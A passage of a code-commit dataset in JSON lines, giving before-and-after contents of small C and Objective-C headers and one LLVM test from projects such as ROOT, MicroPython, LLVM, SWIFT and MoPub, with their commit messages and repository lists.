functions;\n\n#pragma link C++ class TTreePlayer;\n#pragma link C++ class TPacketGenerator;\n#pragma link C++ class TTreeFormula-;\n\n#endif\n","new_contents":"\/* @(#)root\/treeplayer:$Name:  $:$Id: LinkDef.h,v 1.2 2000\/07\/06 17:20:52 brun Exp $ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class TTreePlayer+;\n#pragma link C++ class TPacketGenerator;\n#pragma link C++ class TTreeFormula-;\n\n#endif\n","subject":"Declare option \"+\" for TTreePlayer","message":"Declare option \"+\" for TTreePlayer\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@986 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"root-mirror\/root,mattkretz\/root,krafczyk\/root,olifre\/root,root-mirror\/root,mhuwiler\/rootauto,omazapa\/root-old,krafczyk\/root,veprbl\/root,perovic\/root,smarinac\/root,esakellari\/root,sawenzel\/root,buuck\/root,ffurano\/root5,beniz\/root,zzxuanyuan\/root,Duraznos\/root,veprbl\/root,krafczyk\/root,jrtomps\/root,mkret2\/root,abhinavmoudgil95\/root,veprbl\/root,abhinavmoudgil95\/root,kirbyherm\/root-r-tools,BerserkerTroll\/root,georgtroska\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,root-mirror\/root,buuck\/root,perovic\/root,sirinath\/root,pspe\/root,tc3t\/qoot,strykejern\/TTreeReader,Y--\/root,BerserkerTroll\/root,gganis\/root,ffurano\/root5,kirbyherm\/root-r-tools,abhinavmoudgil95\/root,veprbl\/root,arch1tect0r\/root,smarinac\/root,sbinet\/cxx-root,BerserkerTroll\/root,vukasinmilosevic\/root,gganis\/root,thomaskeck\/root,dfunke\/root,gbitzes\/root,vukasinmilosevic\/root,bbockelm\/root,olifre\/root,esakellari\/root,beniz\/root,gbitzes\/root,vukasinmilosevic\/root,mhuwiler\/rootauto,jrtomps\/root,pspe\/root,veprbl\/root,Duraznos\/root,evgeny-boger\/root,kirbyherm\/root-r-tools,BerserkerTroll\/root,gganis\/root,sbinet\/cxx-root,olifre\/root,gbitzes\/root,mattkretz\/root,sbinet\/cxx-root,smarinac\/root,tc3t\/qoot,sbinet\/cxx-root,abhinavmoudgil95\/root,simonpf\/root,simonpf\/root,root-mirror\/root,omazapa\/root,strykejern\/TTreeReader,perovic\/root,ffurano\/root5,perovic\/root,gbitzes\/root,sawenzel\/root,arch1tect0r\/root,Y--\/root,thomaskeck\/root,root-mirror\/root,smarinac\/root,esakellari\/root,bbockelm\/root,zzxuanyuan\/root-compressor-dummy,smarinac\/root,BerserkerTroll\/root,Duraznos\/root,gbitzes\/root,lgiommi\/root,0x0all\/ROOT,lgiommi\/root,cxx-hep\/root-cern,alexschlueter\/cern-root,esakellari\/my_root_for_test,satyarth934\/root,bbockelm\/root,gganis\/root,perovic\/root,mattkretz\/root,Y--\/root,perovic\/root,olifre\/root,esakellari\/root,smarinac\/root,cxx-hep\/root-cern,krafczyk\/root,Y--\/root,alexschlueter\/cern-root,Dr15Jones\/root,karies\/root,sawenzel\/root,pspe\/root,zzxuanyuan\/root-compressor-dummy,karies\/root,buuck\/root,0x0all\/ROOT,BerserkerTroll\/root,sirinath\/root,mattkretz\/root,nilqed\/root,nilqed\/root,root-mirror\/root,strykejern\/TTreeReader,veprbl\/root,Y--\/root,arch1tect0r\/root,agarciamontoro\/root,mkret2\/root,dfunke\/root,arch1tect0r\/root,jrtomps\/root,mkret2\/root,satyarth934\/root,jrtomps\/root,georgtroska\/root,pspe\/root,arch1tect0r\/root,abhinavmoudgil95\/root,esakellari\/my_root_for_test,omazapa\/root,simonpf\/root,gbitzes\/root,esakellari\/my_root_for_test,CristinaCristescu\/root,karies\/root,tc3t\/qoot,simonpf\/root,buuck\/root,nilqed\/root,omazapa\/root-old,krafczyk\/root,gbitzes\/root,thomaskeck\/root,georgtroska\/root,satyarth934\/root,krafczyk\/root,sirinath\/root,vukasinmilosevic\/root,thomaskeck\/root,tc3t\/qoot,nilqed\/root,evgeny-boger\/root,omazapa\/root,evgeny-boger\/root,satyarth934\/root,Dr15Jones\/root,satyarth934\/root,beniz\/root,mhuwiler\/rootauto,arch1tect0r\/root,mattkretz\/root,BerserkerTroll\/root,0x0all\/ROOT,esakellari\/root,olifre\/root,buuck\/root,bbockelm\/root,CristinaCristescu\/root,kirbyherm\/root-r-tools,buuck\/root,evgeny-boger\/root,mkret2\/root,veprbl\/root,zzxuanyuan\/root,omazapa\/root-old,simonpf\/root,olifre\/root,gbitzes\/root,omazapa\/root,gbitzes\/root,sirinath\/root,mattkretz\/root,omazapa\/root,nilqed\/root,vukasinmilosevic\/root,davidlt\/root,omazapa\/root,jrtomps\/root,gbitzes\/root,thomaskeck\/root,sawenzel\/root,zzxuanyuan\/root,lgiommi\/root,smarinac\/root,pspe\/root,omazapa\/root,perovic\/root,veprbl\/root,dfunke\/root,CristinaCristescu\/root,perovic\/root,krafczyk\/root,ffurano\/root5,veprbl\/root,esakellari\/my_root_for_test,satyarth934\/root,Duraznos\/root,davidlt\/root,kirbyherm\/root-r-tools,Y--\/root,simonpf\/root,beniz\/root,mhuwiler\/rootauto,tc3t\/qoot,mattkretz\/root,lgiommi\/root,abhinavmoudgil95\/root,sbinet\/cxx-root,gganis\/root,georgtroska\/root,karies\/root,zzxuanyuan\/root-compressor-dummy,sirinath\/root,mkret2\/root,pspe\/root,ffurano\/root5,esakellari\/root,zzxuanyuan\/root,sbinet\/cxx-root,nilqed\/root,mattkretz\/root,esakellari\/root,esakellari\/my_root_for_test,esakellari\/root,tc3t\/qoot,0x0all\/ROOT,vukasinmilosevic\/root,pspe\/root,agarciamontoro\/root,karies\/root,georgtroska\/root,cxx-hep\/root-cern,mkret2\/root,perovic\/root,lgiommi\/root,dfunke\/root,mkret2\/root,0x0all\/ROOT,nilqed\/root,mhuwiler\/rootauto,mhuwiler\/rootauto,alexschlueter\/cern-root,zzxuanyuan\/root,davidlt\/root,buuck\/root,Duraznos\/root,omazapa\/root-old,evgeny-boger\/root,Duraznos\/root,root-mirror\/root,Y--\/root,pspe\/root,satyarth934\/root,cxx-hep\/root-cern,root-mirror\/root,bbockelm\/root,davidlt\/root,dfunke\/root,esakellari\/root,davidlt\/root,Y--\/root,Dr15Jones\/root,agarciamontoro\/root,omazapa\/root-old,CristinaCristescu\/root,mattkretz\/root,mattkretz\/root,beniz\/root,sirinath\/root,krafczyk\/root,olifre\/root,olifre\/root,lgiommi\/root,buuck\/root,dfunke\/root,agarciamontoro\/root,simonpf\/root,dfunke\/root,bbockelm\/root,beniz\/root,sawenzel\/root,BerserkerTroll\/root,Duraznos\/root,davidlt\/root,tc3t\/qoot,georgtroska\/root,bbockelm\/root,Dr15Jones\/root,bbockelm\/root,mkret2\/root,bbockelm\/root,Duraznos\/root,alexschlueter\/cern-root,omazapa\/root-old,dfunke\/root,omazapa\/root-old,gganis\/root,esakellari\/my_root_for_test,smarinac\/root,jrtomps\/root,vukasinmilosevic\/root,nilqed\/root,sbinet\/cxx-root,Dr15Jones\/root,smarinac\/root,agarciamontoro\/root,sawenzel\/root,CristinaCristescu\/root,gganis\/root,bbockelm\/root,abhinavmoudgil95\/root,mhuwiler\/rootauto,nilqed\/root,agarciamontoro\/root,tc3t\/qoot,mkret2\/root,olifre\/root,georgtroska\/root,georgtroska\/root,nilqed\/root,Duraznos\/root,olifre\/root,nilqed\/root,strykejern\/TTreeReader,sirinath\/root,olifre\/root,gganis\/root,root-mirror\/root,CristinaCristescu\/root,mhuwiler\/rootauto,Duraznos\/root,lgiommi\/root,vukasinmilosevic\/root,pspe\/root,CristinaCristescu\/root,strykejern\/TTreeReader,Y--\/root,alexschlueter\/cern-root,arch1tect0r\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,agarciamontoro\/root,zzxuanyuan\/root-compressor-dummy,strykejern\/TTreeReader,sbinet\/cxx-root,veprbl\/root,lgiommi\/root,sirinath\/root,zzxuanyuan\/root-compressor-dummy,smarinac\/root,Dr15Jones\/root,esakellari\/my_root_for_test,karies\/root,alexschlueter\/cern-root,evgeny-boger\/root,BerserkerTroll\/root,jrtomps\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,perovic\/root,zzxuanyuan\/root,jrtomps\/root,sbinet\/cxx-root,omazapa\/root-old,0x0all\/ROOT,buuck\/root,karies\/root,beniz\/root,satyarth934\/root,CristinaCristescu\/root,karies\/root,gganis\/root,beniz\/root,zzxuanyuan\/root,sawenzel\/root,kirbyherm\/root-r-tools,bbockelm\/root,zzxuanyuan\/root,cxx-hep\/root-cern,sawenzel\/root,arch1tect0r\/root,dfunke\/root,omazapa\/root,zzxuanyuan\/root,pspe\/root,thomaskeck\/root,cxx-hep\/root-cern,mkret2\/root,sawenzel\/root,evgeny-boger\/root,tc3t\/qoot,Y--\/root,esakellari\/my_root_for_test,omazapa\/root-old,esakellari\/my_root_for_test,mhuwiler\/rootauto,jrtomps\/root,abhinavmoudgil95\/root,omazapa\/root,esakellari\/root,evgeny-boger\/root,thomaskeck\/root,simonpf\/root,jrtomps\/root,arch1tect0r\/root,zzxuanyuan\/root-compressor-dummy,0x0all\/ROOT,georgtroska\/root,perovic\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,lgiommi\/root,zzxuanyuan\/root-compressor-dummy,CristinaCristescu\/root,beniz\/root,sbinet\/cxx-root,sirinath\/root,arch1tect0r\/root,davidlt\/root,strykejern\/TTreeReader,sirinath\/root,vukasinmilosevic\/root,BerserkerTroll\/root,gganis\/root,krafczyk\/root,georgtroska\/root,sirinath\/root,esakellari\/root,evgeny-boger\/root,krafczyk\/root,agarciamontoro\/root,ffurano\/root5,sawenzel\/root,krafczyk\/root,abhinavmoudgil95\/root,omazapa\/root-old,gbitzes\/root,Y--\/root,lgiommi\/root,satyarth934\/root,karies\/root,simonpf\/root,arch1tect0r\/root,zzxuanyuan\/root,dfunke\/root,abhinavmoudgil95\/root,mattkretz\/root,satyarth934\/root,agarciamontoro\/root,agarciamontoro\/root,gganis\/root,BerserkerTroll\/root,buuck\/root,dfunke\/root,0x0all\/ROOT,Dr15Jones\/root,root-mirror\/root,root-mirror\/root,omazapa\/root-old,simonpf\/root,satyarth934\/root,thomaskeck\/root,vukasinmilosevic\/root,evgeny-boger\/root,esakellari\/my_root_for_test,davidlt\/root,tc3t\/qoot,sbinet\/cxx-root,0x0all\/ROOT,zzxuanyuan\/root,thomaskeck\/root,lgiommi\/root,thomaskeck\/root,abhinavmoudgil95\/root,CristinaCristescu\/root,jrtomps\/root,simonpf\/root,cxx-hep\/root-cern,georgtroska\/root,agarciamontoro\/root,karies\/root,mhuwiler\/rootauto,pspe\/root,mhuwiler\/rootauto,evgeny-boger\/root,veprbl\/root,omazapa\/root,CristinaCristescu\/root,alexschlueter\/cern-root,omazapa\/root,davidlt\/root,kirbyherm\/root-r-tools,mkret2\/root,sawenzel\/root,cxx-hep\/root-cern,buuck\/root,ffurano\/root5,davidlt\/root,vukasinmilosevic\/root,karies\/root,Duraznos\/root"}
{"commit":"3ff245f667167309ec41941036daa358bc60209d","old_file":"nrf5\/sdk\/nrf5_sdk_conf.h","new_file":"nrf5\/sdk\/nrf5_sdk_conf.h","old_contents":"#ifndef NRF_SDK_CONF_H__\n#define NRF_SDK_CONF_H__\n\n\/\/ SD specific configurations.\n\n#if (BLUETOOTH_SD == 100)\n\n#define MICROPY_PY_BLE                  (1)\n#define MICROPY_PY_BLE_6LOWPAN          (1)\n#define MICROPY_PY_USOCKET              (1)\n#define MICROPY_PY_NETWORK              (1)\n\n#elif (BLUETOOTH_SD == 110)\n\n#define MICROPY_PY_BLE                  (1)\n\n#elif (BLUETOOTH_SD == 132)\n\n#define MICROPY_PY_BLE                  (1)\n#define MICROPY_PY_BLE_NUS              (0)\n#define MICROPY_PY_UBLUEPY              (1)\n#define MICROPY_PY_UBLUEPY_PERIPHERAL   (1)\n\n#else\n#error \"SD not supported\"\n#endif\n\n\/\/ Default defines.\n\n#ifndef MICROPY_PY_BLE_6LOWPAN\n#define MICROPY_PY_BLE_6LOWPAN          (0)\n#endif\n\n#ifndef MICROPY_PY_BLE\n#define MICROPY_PY_BLE                  (0)\n#endif\n\n#ifndef MICROPY_PY_BLE_NUS\n#define MICROPY_PY_BLE_NUS              (0)\n#endif\n\n#endif\n","new_contents":"#ifndef NRF_SDK_CONF_H__\n#define NRF_SDK_CONF_H__\n\n\/\/ SD specific configurations.\n\n#if (BLUETOOTH_SD == 100)\n\n#define MICROPY_PY_BLE                  (1)\n#define MICROPY_PY_BLE_6LOWPAN          (1)\n#define MICROPY_PY_USOCKET              (1)\n#define MICROPY_PY_NETWORK              (1)\n\n#elif (BLUETOOTH_SD == 110)\n\n#define MICROPY_PY_BLE                  (1)\n#define MICROPY_PY_BLE_NUS              (0)\n#define MICROPY_PY_UBLUEPY              (1)\n#define MICROPY_PY_UBLUEPY_PERIPHERAL   (1)\n\n#elif (BLUETOOTH_SD == 132)\n\n#define MICROPY_PY_BLE                  (1)\n#define MICROPY_PY_BLE_NUS              (0)\n#define MICROPY_PY_UBLUEPY              (1)\n#define MICROPY_PY_UBLUEPY_PERIPHERAL   (1)\n\n#else\n#error \"SD not supported\"\n#endif\n\n\/\/ Default defines.\n\n#ifndef MICROPY_PY_BLE_6LOWPAN\n#define MICROPY_PY_BLE_6LOWPAN          (0)\n#endif\n\n#ifndef MICROPY_PY_BLE\n#define MICROPY_PY_BLE                  (0)\n#endif\n\n#ifndef MICROPY_PY_BLE_NUS\n#define MICROPY_PY_BLE_NUS              (0)\n#endif\n\n#endif\n","subject":"Enable ubluepy module if s110 bluetooth stack is enabled.","message":"nrf5\/sdk: Enable ubluepy module if s110 bluetooth stack is enabled.\n","lang":"C","license":"mit","repos":"tralamazza\/micropython,tralamazza\/micropython,adafruit\/circuitpython,adafruit\/micropython,adafruit\/micropython,adafruit\/micropython,tralamazza\/micropython,adafruit\/micropython,adafruit\/circuitpython,tralamazza\/micropython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/micropython"}
{"commit":"55793ac91e2491d9c9af88aa82792be759ac2039","old_file":"i2c.h","new_file":"i2c.h","old_contents":"#ifndef _I2C_H\n#define _I2C_H\n\n#define I2C_FREQ 100000\n\nstruct i2c_iovec_s {\n  uint8_t *base;\n  uint8_t len;\n};\n\nvoid i2c_init(void);\n\nvoid i2c_open(void);\n\nvoid i2c_close(void);\n\nint8_t i2c_readv(uint8_t address, struct i2c_iovec_s *iov, uint8_t iovcnt);\n\nint8_t i2c_writev(uint8_t address, struct i2c_iovec_s *iov, uint8_t iovcnt);\n\nint8_t i2c_read(uint8_t address, uint8_t *buf, uint8_t len);\n\nint8_t i2c_write(uint8_t address, uint8_t *buf, uint8_t len);\n\nint8_t i2c_read_from(uint8_t address, uint8_t reg, uint8_t *buf, uint8_t len);\n\nint8_t i2c_write_to(uint8_t address, uint8_t reg, uint8_t *buf, uint8_t len);\n\n#endif\n","new_contents":"#ifndef _I2C_H\n#define _I2C_H\n\n#ifndef I2C_FREQ\n#define I2C_FREQ 100000\n#endif\n\nstruct i2c_iovec_s {\n  uint8_t *base;\n  uint8_t len;\n};\n\nvoid i2c_init(void);\n\nvoid i2c_open(void);\n\nvoid i2c_close(void);\n\nint8_t i2c_readv(uint8_t address, struct i2c_iovec_s *iov, uint8_t iovcnt);\n\nint8_t i2c_writev(uint8_t address, struct i2c_iovec_s *iov, uint8_t iovcnt);\n\nint8_t i2c_read(uint8_t address, uint8_t *buf, uint8_t len);\n\nint8_t i2c_write(uint8_t address, uint8_t *buf, uint8_t len);\n\nint8_t i2c_read_from(uint8_t address, uint8_t reg, uint8_t *buf, uint8_t len);\n\nint8_t i2c_write_to(uint8_t address, uint8_t reg, uint8_t *buf, uint8_t len);\n\n#endif\n","subject":"Allow I2C_FREQ to be defined externally","message":"Allow I2C_FREQ to be defined externally\n","lang":"C","license":"mit","repos":"pietern\/avr-tasks,pietern\/avr-tasks"}
{"commit":"b5491f9029675cc364ae0e8d262f9d73c272bc3c","old_file":"TDTHotChocolate\/FoundationAdditions\/NSDate+TDTComparisons.h","new_file":"TDTHotChocolate\/FoundationAdditions\/NSDate+TDTComparisons.h","old_contents":"#import <Foundation\/Foundation.h>\n\n\/**\n Simple wrappers over `[NSDate compare:]` to make comparisons more readable.\n *\/\n\n@interface NSDate (TDTComparisons)\n\n- (BOOL)isEarlierThanDate:(NSDate *)date;\n\n- (BOOL)isEarlierThanOrEqualToDate:(NSDate *)date;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n\/**\n Wrappers over `[NSDate compare:]` to make comparisons more readable.\n *\/\n\n@interface NSDate (TDTComparisons)\n\n- (BOOL)isEarlierThanDate:(NSDate *)date;\n\n- (BOOL)isEarlierThanOrEqualToDate:(NSDate *)date;\n\n@end\n","subject":"Remove unnecessary adjective from description","message":"Remove unnecessary adjective from description\n","lang":"C","license":"bsd-3-clause","repos":"talk-to\/Chocolate,talk-to\/Chocolate"}
{"commit":"5c488182daaf8e11789bd0a16528900ae4042dc2","old_file":"lib\/Target\/CBackend\/CTargetMachine.h","new_file":"lib\/Target\/CBackend\/CTargetMachine.h","old_contents":"\/\/===-- CTargetMachine.h - TargetMachine for the C backend ------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file declares the TargetMachine that is used by the C backend.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef CTARGETMACHINE_H\n#define CTARGETMACHINE_H\n\n#include \"llvm\/Target\/TargetMachine.h\"\n\nnamespace llvm {\n\nstruct CTargetMachine : public TargetMachine {\n  const TargetData DataLayout;       \/\/ Calculates type size & alignment\n\n  CTargetMachine(const Module &M, const std::string &FS)\n    : TargetMachine(\"CBackend\", M),\n      DataLayout(\"CBackend\") {}\n\n  \/\/ This is the only thing that actually does anything here.\n  virtual bool addPassesToEmitFile(PassManager &PM, std::ostream &Out,\n                                   CodeGenFileType FileType, bool Fast);\n\n  \/\/ This class always works, but shouldn't be the default in most cases.\n  static unsigned getModuleMatchQuality(const Module &M) { return 1; }\n  \n  virtual const TargetData       *getTargetData() const { return &DataLayout; }\n};\n\n} \/\/ End llvm namespace\n\n\n#endif\n","new_contents":"\/\/===-- CTargetMachine.h - TargetMachine for the C backend ------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file declares the TargetMachine that is used by the C backend.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef CTARGETMACHINE_H\n#define CTARGETMACHINE_H\n\n#include \"llvm\/Target\/TargetMachine.h\"\n\nnamespace llvm {\n\nstruct CTargetMachine : public TargetMachine {\n  const TargetData DataLayout;       \/\/ Calculates type size & alignment\n\n  CTargetMachine(const Module &M, const std::string &FS)\n    : TargetMachine(\"CBackend\", M),\n      DataLayout(\"CBackend\", &M) {}\n\n  \/\/ This is the only thing that actually does anything here.\n  virtual bool addPassesToEmitFile(PassManager &PM, std::ostream &Out,\n                                   CodeGenFileType FileType, bool Fast);\n\n  \/\/ This class always works, but shouldn't be the default in most cases.\n  static unsigned getModuleMatchQuality(const Module &M) { return 1; }\n  \n  virtual const TargetData       *getTargetData() const { return &DataLayout; }\n};\n\n} \/\/ End llvm namespace\n\n\n#endif\n","subject":"Fix a bug in Owen's checkin that broke the CBE on all non sparc v9 platforms.","message":"Fix a bug in Owen's checkin that broke the CBE on all non sparc v9 platforms.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@28081 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap"}
{"commit":"0182fa2e384034fbbe1326fa887bb537c05d4525","old_file":"test\/FrontendC\/2010-05-18-asmsched.c","new_file":"test\/FrontendC\/2010-05-18-asmsched.c","old_contents":"\/\/ RUN: %llvmgcc %s -c -O3 -m64 -emit-llvm -o - | llc -march=x86-64 -mtriple=x86_64-apple-darwin | FileCheck %s\n\/\/ XFAIL: *\n\/\/ XTARGET: x86,i386,i686\n\/\/ r9 used to be clobbered before its value was moved to r10.  7993104.\n\nvoid foo(int x, int y) {\n\/\/ CHECK: bar\n\/\/ CHECK: movq  %r9, %r10\n\/\/ CHECK: movq  %rdi, %r9\n\/\/ CHECK: bar\n  register int lr9 asm(\"r9\") = x;\n  register int lr10 asm(\"r10\") = y;\n  int foo;\n  asm volatile(\"bar\" : \"=r\"(lr9) : \"r\"(lr9), \"r\"(lr10));\n  foo = lr9;\n  lr9 = x;\n  lr10 = foo;\n  asm volatile(\"bar\" : \"=r\"(lr9) : \"r\"(lr9), \"r\"(lr10));\n}","new_contents":"\/\/ RUN: %llvmgcc %s -c -O3 -m64 -emit-llvm -o - | llc -march=x86-64 -mtriple=x86_64-apple-darwin | FileCheck %s\n\/\/ r9 used to be clobbered before its value was moved to r10.  7993104.\n\nvoid foo(int x, int y) {\n\/\/ CHECK: bar\n\/\/ CHECK: movq  %r9, %r10\n\/\/ CHECK: movq  %rdi, %r9\n\/\/ CHECK: bar\n  register int lr9 asm(\"r9\") = x;\n  register int lr10 asm(\"r10\") = y;\n  int foo;\n  asm volatile(\"bar\" : \"=r\"(lr9) : \"r\"(lr9), \"r\"(lr10));\n  foo = lr9;\n  lr9 = x;\n  lr10 = foo;\n  asm volatile(\"bar\" : \"=r\"(lr9) : \"r\"(lr9), \"r\"(lr10));\n}","subject":"Test passed on ppc, to my surprise; if it worked there it may work everywhere...","message":"Test passed on ppc, to my surprise; if it worked\nthere it may work everywhere...\n\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@104053 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"80e3504b8bd57974c86cafa9a9fbe0614c965bdf","old_file":"stf\/NBodylib\/src\/NBody\/SwiftParticle.h","new_file":"stf\/NBodylib\/src\/NBody\/SwiftParticle.h","old_contents":"\/*! \\file SwiftParticle.h\n *  \\brief header file for the SWIFT particle type.\n\n*\/\n\n#ifndef SWIFT_PARTICLE_H\n#define SWIFT_PARTICLE_H\n\n#ifdef SWIFTINTERFACE\n  \/**\n * @brief The default struct alignment in SWIFT.\n *\/\n#define SWIFT_STRUCT_ALIGNMENT 32\n#define SWIFT_STRUCT_ALIGN __attribute__((aligned(SWIFT_STRUCT_ALIGNMENT)))\n\nnamespace Swift\n{\n  \n  \/* SWIFT enum of part types. Should match VELOCIraptor type values. *\/\n  enum part_type {\n    swift_type_gas = 0,\n    swift_type_dark_matter = 1,\n    swift_type_star = 4,\n    swift_type_black_hole = 5,\n    swift_type_count\n  } __attribute__((packed));\n\n  \/* SWIFT\/VELOCIraptor particle. *\/\n    struct swift_vel_part {\n\n      \/*! Particle ID. If negative, it is the negative offset of the #part with\n        which this gpart is linked. *\/\n      long long id;\n\n      \/*! Particle position. *\/\n      double x[3];\n\n      \/*! Particle velocity. *\/\n      float v[3];\n\n      \/*! Particle mass. *\/\n      float mass;\n\n      \/*! Gravitational potential *\/\n      float potential;\n\n      \/*! Internal energy of gas particle *\/\n      float u;\n\n      \/*! Type of the #gpart (DM, gas, star, ...) *\/\n      enum part_type type;\n\n    } SWIFT_STRUCT_ALIGN;\n\n}\n\n#endif\n\n#endif\n","new_contents":"\/*! \\file SwiftParticle.h\n *  \\brief header file for the SWIFT particle type.\n\n*\/\n\n#ifndef SWIFT_PARTICLE_H\n#define SWIFT_PARTICLE_H\n\n#ifdef SWIFTINTERFACE\n\nnamespace Swift\n{\n  \n  \/* SWIFT enum of part types. Should match VELOCIraptor type values. *\/\n  enum part_type {\n    swift_type_gas = 0,\n    swift_type_dark_matter = 1,\n    swift_type_star = 4,\n    swift_type_black_hole = 5,\n    swift_type_count\n  } __attribute__((packed));\n\n  \/* SWIFT\/VELOCIraptor particle. *\/\n    struct swift_vel_part {\n\n      \/*! Particle ID. *\/\n      long long id;\n\n      \/*! Particle position. *\/\n      double x[3];\n\n      \/*! Particle velocity. *\/\n      float v[3];\n\n      \/*! Particle mass. *\/\n      float mass;\n\n      \/*! Gravitational potential *\/\n      float potential;\n\n      \/*! Internal energy of gas particle *\/\n      float u;\n\n      \/*! Type of the #gpart (DM, gas, star, ...) *\/\n      enum part_type type;\n\n    };\n\n}\n\n#endif\n\n#endif\n","subject":"Use unaligned particle structure to save memory.","message":"Use unaligned particle structure to save memory.\n","lang":"C","license":"mit","repos":"pelahi\/VELOCIraptor-STF,pelahi\/VELOCIraptor-STF,pelahi\/VELOCIraptor-STF"}
{"commit":"56de4f7f2434bfb7b22f83bdb87744a8e6ca28de","old_file":"MoPubSDK\/MPConstants.h","new_file":"MoPubSDK\/MPConstants.h","old_contents":"\/\/\n\/\/  MPConstants.h\n\/\/  MoPub\n\/\/\n\/\/  Created by Nafis Jamal on 2\/9\/11.\n\/\/  Copyright 2011 MoPub, Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n#define MP_DEBUG_MODE               1\n\n#define HOSTNAME                    @\"ads.mopub.com\"\n#define HOSTNAME_FOR_TESTING        @\"testing.ads.mopub.com\"\n#define DEFAULT_PUB_ID              @\"agltb3B1Yi1pbmNyDAsSBFNpdGUYkaoMDA\"\n#define MP_SERVER_VERSION           @\"8\"\n#define MP_SDK_VERSION              @\"1.16.0.1\"\n\n\/\/ Sizing constants.\n#define MOPUB_BANNER_SIZE           CGSizeMake(320, 50)\n#define MOPUB_MEDIUM_RECT_SIZE      CGSizeMake(300, 250)\n#define MOPUB_LEADERBOARD_SIZE      CGSizeMake(728, 90)\n#define MOPUB_WIDE_SKYSCRAPER_SIZE  CGSizeMake(160, 600)\n\n\/\/ Miscellaneous constants.\n#define MINIMUM_REFRESH_INTERVAL            5.0\n#define DEFAULT_BANNER_REFRESH_INTERVAL     60\n#define BANNER_TIMEOUT_INTERVAL             10\n#define INTERSTITIAL_TIMEOUT_INTERVAL       30\n\n\/\/ Feature Flags\n#define SESSION_TRACKING_ENABLED            1\n","new_contents":"\/\/\n\/\/  MPConstants.h\n\/\/  MoPub\n\/\/\n\/\/  Created by Nafis Jamal on 2\/9\/11.\n\/\/  Copyright 2011 MoPub, Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n#if DEBUG\n#define MP_DEBUG_MODE               1\n#else\n#define MP_DEBUG_MODE               0\n#endif\n\n#define HOSTNAME                    @\"ads.mopub.com\"\n#define HOSTNAME_FOR_TESTING        @\"testing.ads.mopub.com\"\n#define DEFAULT_PUB_ID              @\"agltb3B1Yi1pbmNyDAsSBFNpdGUYkaoMDA\"\n#define MP_SERVER_VERSION           @\"8\"\n#define MP_SDK_VERSION              @\"1.16.0.1\"\n\n\/\/ Sizing constants.\n#define MOPUB_BANNER_SIZE           CGSizeMake(320, 50)\n#define MOPUB_MEDIUM_RECT_SIZE      CGSizeMake(300, 250)\n#define 